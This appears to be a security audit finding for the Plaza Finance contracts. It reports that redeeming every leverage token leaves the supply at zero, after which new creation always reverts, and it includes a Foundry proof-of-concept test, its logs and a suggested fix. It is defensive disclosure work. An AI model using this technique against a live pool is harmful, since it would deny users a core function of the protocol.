Suave Vermilion Worm

High

# Redeeming all leverage tokens, will DoS their creation

### Summary

Redeeming all leverage tokens from the pool, will prevent any user from creating new ones, which is a DoS of a core functionality.

### Root Cause

Currently, every token that has been minted can be redeemed, because they are  possessed by users. However, in [getCreateAmount()](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L306) we can see that if the `assetSupply` is 0, we are always reverting ([ref](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L330-L337)). This will lead to DoS of creation of new tokens.  

### Internal Pre-conditions

_No response_

### External Pre-conditions

1. Redeem all Leverage tokens

### Attack Path

1. Redeem all Leverage tokens, so the supply is 0.

### Impact

There will be no way to create any new Leverage token, which is a DoS of a core functionality.

### PoC

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";

import {Pool} from "src/Pool.sol";
import {Token} from "test/mocks/Token.sol";
import {Utils} from "src/lib/Utils.sol";
import {Auction} from "src/Auction.sol";
import {BondToken} from "src/BondToken.sol";
import {PoolFactory} from "src/PoolFactory.sol";
import {Distributor} from "src/Distributor.sol";
import {OracleFeeds} from "src/OracleFeeds.sol";
import {LeverageToken} from "src/LeverageToken.sol";
import {Deployer} from "src/utils/Deployer.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {UpgradeableBeacon} from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";
import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import {MockPriceFeed} from "test/mocks/MockPriceFeed.sol";

contract PoolPoC is Test {
    Pool pool;
    Token reserve;
    BondToken bond;
    LeverageToken lev;

    address governance = address(0x1);
    address user = address(0x2);

    uint256 constant RESERVE_AMOUNT = 13 ether;

    uint256 private constant CHAINLINK_DECIMAL_PRECISION = 10 ** 8;
    uint8 private constant CHAINLINK_DECIMAL = 8;

    function setUp() public {
        vm.startPrank(governance);
        address deployer = address(new Deployer());
        address oracleFeeds = address(new OracleFeeds());

        address poolBeacon = address(new UpgradeableBeacon(address(new Pool()), governance));
        address bondBeacon = address(new UpgradeableBeacon(address(new BondToken()), governance));
        address levBeacon = address(new UpgradeableBeacon(address(new LeverageToken()), governance));
        address distributorBeacon = address(new UpgradeableBeacon(address(new Distributor()), governance));

        reserve = new Token("Balancer Pool Token", "balancerPoolToken", false);
        Token coupon = new Token("Coupon Token", "couponToken", false);

        // Deploy a mock price feed for the reserve token
        MockPriceFeed mockPriceFeed = new MockPriceFeed();
        mockPriceFeed.setMockPrice(3000 * int256(CHAINLINK_DECIMAL_PRECISION), uint8(CHAINLINK_DECIMAL));

        // Set the price feed for the reserve token
        OracleFeeds(oracleFeeds).setPriceFeed(address(reserve), address(0), address(mockPriceFeed), 1 days);

        // Deploy the pool factory
        PoolFactory poolFactory = PoolFactory(
            Utils.deploy(
                address(new PoolFactory()),
                abi.encodeCall(
                    PoolFactory.initialize,
                    (governance, deployer, oracleFeeds, poolBeacon, bondBeacon, levBeacon, distributorBeacon)
                )
            )
        );

        // Prepare the pool parameters
        PoolFactory.PoolParams memory params;
        params.fee = 0;
        params.reserveToken = address(reserve);
        params.sharesPerToken = 2500000;
        params.distributionPeriod = 90 days;
        params.couponToken = address(coupon);

        poolFactory.grantRole(poolFactory.GOV_ROLE(), governance);
        poolFactory.grantRole(poolFactory.POOL_ROLE(), governance);

        // Mint enough tokens for the pool deployment
        reserve.mint(governance, RESERVE_AMOUNT);
        reserve.approve(address(poolFactory), RESERVE_AMOUNT);

        pool = Pool(
            poolFactory.createPool(
                params,
                RESERVE_AMOUNT,
                10 * 10 ** 18,
                1 * 10 ** 18,
                "Bond ETH",
                "bondETH",
                "Leverage ETH",
                "levETH",
                false
            )
        );

        bond = pool.bondToken();
        lev = pool.lToken();

        vm.stopPrank();
    }

    function testWeCannotBuyLevTokensAfterFullyRedeemingLevTokens() public {
        // The Leverage tokens are minted to the governance, because the pool is deployed by this address
        // Using governance we bypass the need to have PreDeposit contract, which deploys the pool
        // The tokens from governance are sent to the user, simulating the PreDeposit claim functionality
        console.log("Governance lev balance: ", lev.balanceOf(governance));

        vm.startPrank(governance);
        lev.transfer(user, lev.balanceOf(governance));
        vm.stopPrank();

        console.log("User lev balance: ", lev.balanceOf(user));
        console.log("Governance lev balance: ", lev.balanceOf(governance));

        vm.startPrank(user);
        pool.redeem(Pool.TokenType.LEVERAGE, lev.balanceOf(user), 0);

        console.log("User lev balance after redeem: ", lev.balanceOf(user));
        console.log("User reserve balance after redeem: ", reserve.balanceOf(user));

        uint256 reserveAmount = reserve.balanceOf(user);

        vm.expectRevert(Pool.ZeroLeverageSupply.selector);
        pool.create(Pool.TokenType.LEVERAGE, reserveAmount, 0);

        vm.stopPrank();

        console.log("User lev balance after create: ", lev.balanceOf(user));
        console.log("User reserve balance after create: ", reserve.balanceOf(user));
    }
}
```

Logs:
```logs
        Governance lev balance:  1000000000000000000
        User lev balance:  1000000000000000000
        Governance lev balance:  0
        39000000
        39000000000000000000000
        User lev balance after redeem:  0
        User reserve balance after redeem:  12666666666666666666
        User lev balance after create:  0
        User reserve balance after create:  12666666666666666666
```

### Mitigation

Consider minting some tokens to address, who will never sell - Zero address, Governance address, Factory address or Pool address.